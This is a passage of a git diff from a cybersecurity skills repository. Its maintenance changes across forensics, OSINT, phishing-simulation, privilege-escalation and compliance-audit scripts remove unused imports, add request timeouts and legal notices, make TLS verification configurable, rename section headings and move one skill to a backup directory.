[{col}] LIKE ?", [f"%{keyword}%"] diff --git a/skills/performing-network-forensics-with-wireshark/scripts/agent.py b/skills/performing-network-forensics-with-wireshark/scripts/agent.py index e6c36b32..34107f11 100644 --- a/skills/performing-network-forensics-with-wireshark/scripts/agent.py +++ b/skills/performing-network-forensics-with-wireshark/scripts/agent.py @@ -10,7 +10,6 @@ import json import sys from collections import defaultdict from pathlib import Path -from datetime import datetime class NetworkForensicsAgent: diff --git a/skills/performing-network-packet-capture-analysis/scripts/agent.py b/skills/performing-network-packet-capture-analysis/scripts/agent.py index 55202b48..aafa0827 100644 --- a/skills/performing-network-packet-capture-analysis/scripts/agent.py +++ b/skills/performing-network-packet-capture-analysis/scripts/agent.py @@ -4,11 +4,10 @@ import json import argparse import subprocess -from datetime import datetime from collections import Counter try: - from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw + from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR HAS_SCAPY = True except ImportError: HAS_SCAPY = False diff --git a/skills/performing-network-traffic-analysis-with-zeek/SKILL.md b/skills/performing-network-traffic-analysis-with-zeek/SKILL.md index 20129d77..9734f209 100644 --- a/skills/performing-network-traffic-analysis-with-zeek/SKILL.md +++ b/skills/performing-network-traffic-analysis-with-zeek/SKILL.md @@ -58,7 +58,7 @@ Zeek generates protocol-specific log files: | `pe.log` | Portable Executable file metadata | | `dpd.log` | Dynamic Protocol Detection failures | -## Implementation Steps +## Workflow ### Step 1: Install and Configure Zeek diff --git a/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py b/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py index f5852d3b..9dae2ffa 100644 --- a/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py +++ b/skills/performing-network-traffic-analysis-with-zeek/scripts/agent.py @@ -4,8 +4,6 @@ import json import argparse import subprocess -import csv -from datetime import datetime from pathlib import Path from collections import Counter diff --git a/skills/performing-nist-csf-maturity-assessment/SKILL.md b/skills/performing-nist-csf-maturity-assessment/SKILL.md index 61bdb0ca..156491ff 100644 --- a/skills/performing-nist-csf-maturity-assessment/SKILL.md +++ b/skills/performing-nist-csf-maturity-assessment/SKILL.md @@ -1,6 +1,11 @@ --- name: performing-nist-csf-maturity-assessment -description: The NIST Cybersecurity Framework (CSF) 2.0, released in February 2024, provides a comprehensive taxonomy for managing cybersecurity risk through six core Functions: Govern, Identify, Protect, Detect, +description: >- + The NIST Cybersecurity Framework (CSF) 2.0, released in February 2024, provides a + comprehensive taxonomy for managing cybersecurity risk through six core Functions - + Govern, Identify, Protect, Detect, Respond, and Recover. This skill covers conducting + a maturity assessment against the CSF using Implementation Tiers to measure organizational + cybersecurity posture and create improvement roadmaps. domain: cybersecurity subdomain: compliance-governance tags: [compliance, governance, nist, csf, maturity-assessment, risk-management] @@ -49,7 +54,7 @@ The NIST Cybersecurity Framework (CSF) 2.0, released in February 2024, provides | Tier 3 | Repeatable | Formal policies; consistently implemented; regularly updated | | Tier 4 | Adaptive | Continuous improvement; real-time risk response; lessons learned integrated | -## Implementation Steps +## Workflow ### Phase 1: Scoping and Preparation (Weeks 1-2) 1. Define assessment scope (enterprise-wide vs. business unit) diff --git a/skills/performing-nist-csf-maturity-assessment/scripts/agent.py b/skills/performing-nist-csf-maturity-assessment/scripts/agent.py index fee1198c..450a8567 100644 --- a/skills/performing-nist-csf-maturity-assessment/scripts/agent.py +++ b/skills/performing-nist-csf-maturity-assessment/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import csv from datetime import datetime -from pathlib import Path NIST_CSF_FUNCTIONS = { diff --git a/skills/performing-oauth-scope-minimization-review/scripts/agent.py b/skills/performing-oauth-scope-minimization-review/scripts/agent.py index 3d57ac7f..382fd9ec 100644 --- a/skills/performing-oauth-scope-minimization-review/scripts/agent.py +++ b/skills/performing-oauth-scope-minimization-review/scripts/agent.py @@ -9,7 +9,7 @@ import requests import json import sys from collections import defaultdict -from datetime import datetime, timedelta +from datetime import datetime SCOPE_RISK = { @@ -51,14 +51,14 @@ class OAuthScopeAuditor: "client_id": client_id, "client_secret": client_secret, "scope": "https://graph.microsoft.com/.default", - }) + }, timeout=30) resp.raise_for_status() return resp.json()["access_token"] def _paginated_get(self, url): results = [] while url: - resp = requests.get(url, headers=self.headers) + resp = requests.get(url, headers=self.headers, timeout=30) resp.raise_for_status() data = resp.json() results.extend(data.get("value", [])) diff --git a/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py b/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py index ae6e4c20..3fc277c3 100644 --- a/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py +++ b/skills/performing-oil-gas-cybersecurity-assessment/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import csv from datetime import datetime -from pathlib import Path IEC62443_SECURITY_LEVELS = { diff --git a/skills/performing-open-source-intelligence-gathering/SKILL.md b/skills/performing-open-source-intelligence-gathering/SKILL.md index 680eea3e..ba3cf231 100644 --- a/skills/performing-open-source-intelligence-gathering/SKILL.md +++ b/skills/performing-open-source-intelligence-gathering/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Performing Open Source Intelligence Gathering + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview Open Source Intelligence (OSINT) gathering is the first active phase of a red team engagement, where operators collect publicly available information about the target organization to identify attack surfaces, potential targets for social engineering, technology stacks, and credential exposures. Effective OSINT directly shapes initial access strategies and reduces operational risk. @@ -48,7 +51,7 @@ Open Source Intelligence (OSINT) gathering is the first active phase of a red te - **T1594** - Search Victim-Owned Websites - **T1596** - Search Open Technical Databases -## Implementation Steps +## Workflow ### Phase 1: Domain and Network Reconnaissance 1. Perform WHOIS lookups for target domains diff --git a/skills/performing-open-source-intelligence-gathering/scripts/agent.py b/skills/performing-open-source-intelligence-gathering/scripts/agent.py index ab34ba3e..63c5cd21 100644 --- a/skills/performing-open-source-intelligence-gathering/scripts/agent.py +++ b/skills/performing-open-source-intelligence-gathering/scripts/agent.py @@ -1,11 +1,12 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for performing open source intelligence (OSINT) gathering.""" import json import argparse import re -import socket -from datetime import datetime try: import requests diff --git a/skills/performing-osint-with-spiderfoot/scripts/agent.py b/skills/performing-osint-with-spiderfoot/scripts/agent.py index c75ed92c..17f18316 100644 --- a/skills/performing-osint-with-spiderfoot/scripts/agent.py +++ b/skills/performing-osint-with-spiderfoot/scripts/agent.py @@ -20,7 +20,7 @@ def get_sf_session(base_url): def list_modules(session): """List available SpiderFoot modules.""" - resp = session.get(f"{session.base_url}/api/modules") + resp = session.get(f"{session.base_url}/api/modules", timeout=30) resp.raise_for_status() modules = resp.json() return [{"name": m.get("name", ""), "descr": m.get("descr", ""), @@ -30,7 +30,7 @@ def list_modules(session): def list_scan_types(session): """List available scan types (use cases).""" - resp = session.get(f"{session.base_url}/api/scantypes") + resp = session.get(f"{session.base_url}/api/scantypes", timeout=30) resp.raise_for_status() return resp.json() @@ -42,7 +42,7 @@ def start_scan(session, target, scan_name, use_case="all"): "scantarget": target, "usecase": use_case, } - resp = session.post(f"{session.base_url}/api/startscan", data=data) + resp = session.post(f"{session.base_url}/api/startscan", data=data, timeout=30) resp.raise_for_status() result = resp.json() scan_id = result.get("scanid", result.get("id", "")) @@ -52,7 +52,7 @@ def start_scan(session, target, scan_name, use_case="all"): def get_scan_status(session, scan_id): """Check scan status.""" - resp = session.get(f"{session.base_url}/api/scanstatus/{scan_id}") + resp = session.get(f"{session.base_url}/api/scanstatus/{scan_id}", timeout=30) resp.raise_for_status() return resp.json() @@ -75,7 +75,7 @@ def wait_for_scan(session, scan_id, poll_interval=10, timeout=600): def get_scan_results(session, scan_id): """Retrieve all results from a completed scan.""" - resp = session.get(f"{session.base_url}/api/scanresults/{scan_id}") + resp = session.get(f"{session.base_url}/api/scanresults/{scan_id}", timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/performing-paste-site-monitoring-for-credentials/SKILL.md b/skills/performing-paste-site-monitoring-for-credentials/SKILL.md index 7d493e0e..993987a4 100644 --- a/skills/performing-paste-site-monitoring-for-credentials/SKILL.md +++ b/skills/performing-paste-site-monitoring-for-credentials/SKILL.md @@ -36,7 +36,7 @@ Active monitoring queries paste site APIs or scraping endpoints at regular inter Effective monitoring uses regex patterns for email:password combinations, API keys (AWS, Azure, GCP, Stripe, Twilio), database connection strings, private keys (SSH, PGP), JWT tokens, and internal hostnames/URLs. Organization-specific keywords (domain names, product names, employee names) reduce false positives. -## Practical Steps +## Workflow ### Step 1: Pastebin Scraping API Monitor diff --git a/skills/performing-phishing-simulation-with-gophish/SKILL.md b/skills/performing-phishing-simulation-with-gophish/SKILL.md index ad77244b..80fce428 100644 --- a/skills/performing-phishing-simulation-with-gophish/SKILL.md +++ b/skills/performing-phishing-simulation-with-gophish/SKILL.md @@ -36,7 +36,7 @@ GoPhish is an open-source phishing simulation framework used by security teams t 4. **User Group**: Target recipients for the campaign 5. **Campaign**: Combines all components with scheduling -## Implementation Steps +## Workflow ### Step 1: Deploy GoPhish ```bash diff --git a/skills/performing-phishing-simulation-with-gophish/scripts/agent.py b/skills/performing-phishing-simulation-with-gophish/scripts/agent.py index 6e5621da..9d96e7b8 100644 --- a/skills/performing-phishing-simulation-with-gophish/scripts/agent.py +++ b/skills/performing-phishing-simulation-with-gophish/scripts/agent.py @@ -2,6 +2,7 @@ """Agent for performing phishing simulation campaigns with GoPhish API.""" import json +import os import argparse from datetime import datetime @@ -21,12 +22,12 @@ class GoPhishClient: self.headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} def _get(self, path): - resp = requests.get(f"{self.base_url}{path}", headers=self.headers, verify=False, timeout=30) + resp = requests.get(f"{self.base_url}{path}", headers=self.headers, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() def _post(self, path, data): - resp = requests.post(f"{self.base_url}{path}", headers=self.headers, json=data, verify=False, timeout=30) + resp = requests.post(f"{self.base_url}{path}", headers=self.headers, json=data, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() diff --git a/skills/performing-physical-intrusion-assessment/scripts/agent.py b/skills/performing-physical-intrusion-assessment/scripts/agent.py index c483652e..2dc18792 100644 --- a/skills/performing-physical-intrusion-assessment/scripts/agent.py +++ b/skills/performing-physical-intrusion-assessment/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import csv from datetime import datetime -from pathlib import Path ASSESSMENT_CATEGORIES = { diff --git a/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py b/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py index 942c26fa..a8249aee 100644 --- a/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py +++ b/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py @@ -4,8 +4,6 @@ import json import argparse import csv -from datetime import datetime -from pathlib import Path NERC_CIP_STANDARDS = { diff --git a/skills/performing-privilege-escalation-assessment/scripts/agent.py b/skills/performing-privilege-escalation-assessment/scripts/agent.py index bd84d71f..8181b5df 100644 --- a/skills/performing-privilege-escalation-assessment/scripts/agent.py +++ b/skills/performing-privilege-escalation-assessment/scripts/agent.py @@ -7,10 +7,9 @@ capabilities, and kernel version checks. """ import subprocess +import shlex import json import sys -import re -import platform from pathlib import Path from datetime import datetime @@ -24,13 +23,17 @@ class PrivescAssessmentAgent: self.findings = [] def _run(self, cmd, timeout=30): - """Execute a shell command and return output.""" + """Execute a command and return output.""" try: + # Strip shell stderr redirects and detect shell operators + clean_cmd = cmd.replace("2>/dev/null", "").strip() + needs_shell = any(op in clean_cmd for op in ("|", ";", "&&", "||")) result = subprocess.run( - cmd, shell=True, capture_output=True, text=True, timeout=timeout + clean_cmd if needs_shell else shlex.split(clean_cmd), + shell=needs_shell, capture_output=True, text=True, timeout=timeout ) return result.stdout.strip() - except (subprocess.TimeoutExpired, FileNotFoundError): + except (subprocess.TimeoutExpired, FileNotFoundError, ValueError): return "" def get_system_info(self): diff --git a/skills/performing-privilege-escalation-on-linux/SKILL.md b/skills/performing-privilege-escalation-on-linux/SKILL.md index bec10334..21706653 100644 --- a/skills/performing-privilege-escalation-on-linux/SKILL.md +++ b/skills/performing-privilege-escalation-on-linux/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Performing Privilege Escalation on Linux + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and weak permissions to achieve root. This skill covers both manual enumeration techniques and automated tools for identifying and exploiting privilege escalation vectors. diff --git a/skills/performing-privileged-account-access-review/SKILL.md b/skills/performing-privileged-account-access-review/SKILL.md index 96343e26..533d0507 100644 --- a/skills/performing-privileged-account-access-review/SKILL.md +++ b/skills/performing-privileged-account-access-review/SKILL.md @@ -54,7 +54,7 @@ DISCOVER VALIDATE REMEDIATE level and activity access logging ``` -## Implementation Steps +## Workflow ### Step 1: Account Discovery and Inventory diff --git a/skills/performing-privileged-account-access-review/scripts/agent.py b/skills/performing-privileged-account-access-review/scripts/agent.py index ac0f3a69..98b8c79b 100644 --- a/skills/performing-privileged-account-access-review/scripts/agent.py +++ b/skills/performing-privileged-account-access-review/scripts/agent.py @@ -5,7 +5,6 @@ compliance with least-privilege and periodic recertification requirements.""" import argparse import csv import json -import sys from datetime import datetime, timedelta from pathlib import Path diff --git a/skills/performing-purple-team-exercise/scripts/agent.py b/skills/performing-purple-team-exercise/scripts/agent.py index 578125b3..1bbe7074 100644 --- a/skills/performing-purple-team-exercise/scripts/agent.py +++ b/skills/performing-purple-team-exercise/scripts/agent.py @@ -8,7 +8,6 @@ detection coverage reports. import json import sys -import subprocess from datetime import datetime from pathlib import Path diff --git a/skills/performing-ransomware-incident-response.bak/LICENSE b/skills/performing-ransomware-incident-response.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/performing-ransomware-incident-response.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/performing-ransomware-incident-response/SKILL.md b/skills/performing-ransomware-incident-response.bak/SKILL.md similarity index 100% rename from skills/performing-ransomware-incident-response/SKILL.md rename to skills/performing-ransomware-incident-response.bak/SKILL.md diff --git a/skills/performing-ransomware-incident-response/assets/template.md b/skills/performing-ransomware-incident-response.bak/assets/template.md similarity index 100% rename from skills/performing-ransomware-incident-response/assets/template.md rename to skills/performing-ransomware-incident-response.bak/assets/template.md diff --git a/skills/performing-ransomware-incident-response/references/api-reference.md b/skills/performing-ransomware-incident-response.bak/references/api-reference.md similarity index 100% rename from skills/performing-ransomware-incident-response/references/api-reference.md rename to skills/performing-ransomware-incident-response.bak/references/api-reference.md diff --git a/skills/performing-ransomware-incident-response/references/standards.md b/skills/performing-ransomware-incident-response.bak/references/standards.md similarity index 100% rename from skills/performing-ransomware-incident-response/references/standards.md rename to skills/performing-ransomware-incident-response.bak/references/standards.md diff --git a/skills/performing-ransomware-incident-response/references/workflows.md b/skills/performing-ransomware-incident-response.bak/references/workflows.md similarity index 100% rename from skills/performing-ransomware-incident-response/references/workflows.md rename to skills/performing-ransomware-incident-response.bak/references/workflows.md diff --git a/skills/performing-ransomware-incident-response/scripts/agent.py b/skills/performing-ransomware-incident-response.bak/scripts/agent.py similarity index 100% rename from skills/performing-ransomware-incident-response/scripts/agent.py rename to skills/performing-ransomware-incident-response.bak/scripts/agent.py diff --git a/skills/performing-ransomware-incident-response/scripts/process.py b/skills/performing-ransomware-incident-response.bak/scripts/process.py similarity index 100% rename from skills/performing-ransomware-incident-response/scripts/process.py rename to skills/performing-ransomware-incident-response.bak/scripts/process.py diff --git a/skills/performing-ransomware-response/scripts/agent.py b/skills/performing-ransomware-response/scripts/agent.py index 31745c63..e6cb376c 100644 --- a/skills/performing-ransomware-response/scripts/agent.py +++ b/skills/performing-ransomware-response/scripts/agent.py @@ -6,14 +6,11 @@ verification, IOC extraction, and recovery tracking during ransomware incident response. """ -import requests import json import sys import hashlib -import re from pathlib import Path from datetime import datetime -from collections import defaultdict class RansomwareResponseAgent: diff --git a/skills/performing-ransomware-tabletop-exercise/scripts/agent.py b/skills/performing-ransomware-tabletop-exercise/scripts/agent.py index 20d1277a..b7806f80 100644 --- a/skills/performing-ransomware-tabletop-exercise/scripts/agent.py +++ b/skills/performing-ransomware-tabletop-exercise/scripts/agent.py @@ -5,7 +5,6 @@ after-action report.""" import argparse import json -import random import sys from datetime import datetime from pathlib import Path diff --git a/skills/performing-red-team-phishing-with-gophish/SKILL.md b/skills/performing-red-team-phishing-with-gophish/SKILL.md index 8637f0a0..fbcaeb29 100644 --- a/skills/performing-red-team-phishing-with-gophish/SKILL.md +++ b/skills/performing-red-team-phishing-with-gophish/SKILL.md @@ -36,7 +36,7 @@ python scripts/agent.py --gophish-url https://localhost:3333 --api-key --c ```python from gophish import Gophish from gophish.models import Campaign, Template, Group, SMTP, Page -api = Gophish("api_key", host="https://localhost:3333", verify=False) +api = Gophish("api_key", host="https://localhost:3333", verify=False) # Self-signed cert on localhost lab campaign = Campaign(name="Q1 Test", groups=[Group(name="Sales Team")], template=Template(name="IT Password Reset"), smtp=SMTP(name="Internal SMTP"), page=Page(name="Credential Page")) diff --git a/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py b/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py index d8d4fc17..fb1816de 100644 --- a/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py +++ b/skills/performing-sca-dependency-scanning-with-snyk/scripts/agent.py @@ -6,7 +6,6 @@ and enforces quality gates.""" import argparse import json import subprocess -import sys from datetime import datetime from pathlib import Path diff --git a/skills/performing-scada-hmi-security-assessment/scripts/agent.py b/skills/performing-scada-hmi-security-assessment/scripts/agent.py index 8ecca7a7..328653c9 100644 --- a/skills/performing-scada-hmi-security-assessment/scripts/agent.py +++ b/skills/performing-scada-hmi-security-assessment/scripts/agent.py @@ -6,7 +6,6 @@ and missing access controls.""" import argparse import json import socket -import sys from collections import Counter from datetime import datetime from pathlib import Path diff --git a/skills/performing-second-order-sql-injection/scripts/agent.py b/skills/performing-second-order-sql-injection/scripts/agent.py index 1e954df2..5f9d31e1 100644 --- a/skills/performing-second-order-sql-injection/scripts/agent.py +++ b/skills/performing-second-order-sql-injection/scripts/agent.py @@ -6,7 +6,6 @@ query execution points.""" import argparse import json import re -import sys from collections import Counter from datetime import datetime from pathlib import Path diff --git a/skills/performing-security-headers-audit/scripts/agent.py b/skills/performing-security-headers-audit/scripts/agent.py index c049974e..dce04e89 100644 --- a/skills/performing-security-headers-audit/scripts/agent.py +++ b/skills/performing-security-headers-audit/scripts/agent.py @@ -10,7 +10,7 @@ import requests import json import sys import re -from urllib.parse import urlparse +from datetime import datetime class SecurityHeadersAgent: @@ -252,7 +252,7 @@ class SecurityHeadersAgent: report = { "target": self.target_url, - "audit_date": __import__("datetime").datetime.utcnow().isoformat(), + "audit_date": datetime.utcnow().isoformat(), "grade": self.calculate_grade(header_checks), "findings": all_findings, } diff --git a/skills/performing-service-account-audit/SKILL.md b/skills/performing-service-account-audit/SKILL.md index 81b6ae76..442d4137 100644 --- a/skills/performing-service-account-audit/SKILL.md +++ b/skills/performing-service-account-audit/SKILL.md @@ -38,7 +38,7 @@ Audit service accounts across enterprise infrastructure to identify orphaned, ov - **Rotation**: When was the credential last changed? - **Activity**: When was this account last used? -## Implementation Steps +## Workflow ### Step 1: Discovery - Active Directory 1. Query AD for all service accounts (filter by description, OU, naming convention) diff --git a/skills/performing-service-account-audit/scripts/agent.py b/skills/performing-service-account-audit/scripts/agent.py index 76784b57..5415883e 100644 --- a/skills/performing-service-account-audit/scripts/agent.py +++ b/skills/performing-service-account-audit/scripts/agent.py @@ -9,7 +9,7 @@ generates a risk-classified compliance report. import json import sys import subprocess -from datetime import datetime, timedelta +from datetime import datetime from collections import defaultdict diff --git a/skills/performing-service-account-credential-rotation/SKILL.md b/skills/performing-service-account-credential-rotation/SKILL.md index fa47d550..edab78b9 100644 --- a/skills/performing-service-account-credential-rotation/SKILL.md +++ b/skills/performing-service-account-credential-rotation/SKILL.md @@ -70,7 +70,7 @@ Secrets Manager / Vault └── Revoke old credential (after grace period) ``` -## Implementation Steps +## Workflow ### Step 1: Discover and Inventory Service Accounts diff --git a/skills/performing-soap-web-service-security-testing/scripts/agent.py b/skills/performing-soap-web-service-security-testing/scripts/agent.py index 83a27010..1b8fc064 100644 --- a/skills/performing-soap-web-service-security-testing/scripts/agent.py +++ b/skills/performing-soap-web-service-security-testing/scripts/agent.py @@ -5,10 +5,10 @@ Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection, SOAPAction spoofing, and WS-Security bypass vulnerabilities. """ -import requests import json +import os +import requests import sys -import re from lxml import etree @@ -167,7 +167,7 @@ class SOAPSecurityTester: def main(): - wsdl = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl" + wsdl = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("SOAP_WSDL_URL", "http://localhost:8080/ws?wsdl") tester = SOAPSecurityTester(wsdl) tester.parse_wsdl() for op in tester.operations: diff --git a/skills/performing-soc-tabletop-exercise/scripts/agent.py b/skills/performing-soc-tabletop-exercise/scripts/agent.py index 2f6100d1..9da5ad07 100644 --- a/skills/performing-soc-tabletop-exercise/scripts/agent.py +++ b/skills/performing-soc-tabletop-exercise/scripts/agent.py @@ -1,10 +1,7 @@ #!/usr/bin/env python3 """SOC tabletop exercise management agent with scenario generation and scoring.""" -import json import datetime -import random -import hashlib SCENARIO_TEMPLATES = { diff --git a/skills/performing-soc2-type2-audit-preparation/SKILL.md b/skills/performing-soc2-type2-audit-preparation/SKILL.md index 226b771e..0704983f 100644 --- a/skills/performing-soc2-type2-audit-preparation/SKILL.md +++ b/skills/performing-soc2-type2-audit-preparation/SKILL.md @@ -58,7 +58,7 @@ Security is organized into 9 series based on COSO principles: | Assurance | Lower | Higher | | Market Value | Initial baseline | Industry standard expectation | -## Implementation Steps +## Workflow ### Phase 1: Scoping and Readiness (Weeks 1-4) 1. Determine which TSC categories to include (Security mandatory, others based on customer needs) diff --git a/skills/performing-soc2-type2-audit-preparation/scripts/agent.py b/skills/performing-soc2-type2-audit-preparation/scripts/agent.py index 5f442325..1c341f84 100644 --- a/skills/performing-soc2-type2-audit-preparation/scripts/agent.py +++ b/skills/performing-soc2-type2-audit-preparation/scripts/agent.py @@ -8,7 +8,7 @@ readiness reports with gap analysis. import json import sys -from datetime import datetime, timedelta +from datetime import datetime from collections import defaultdict diff 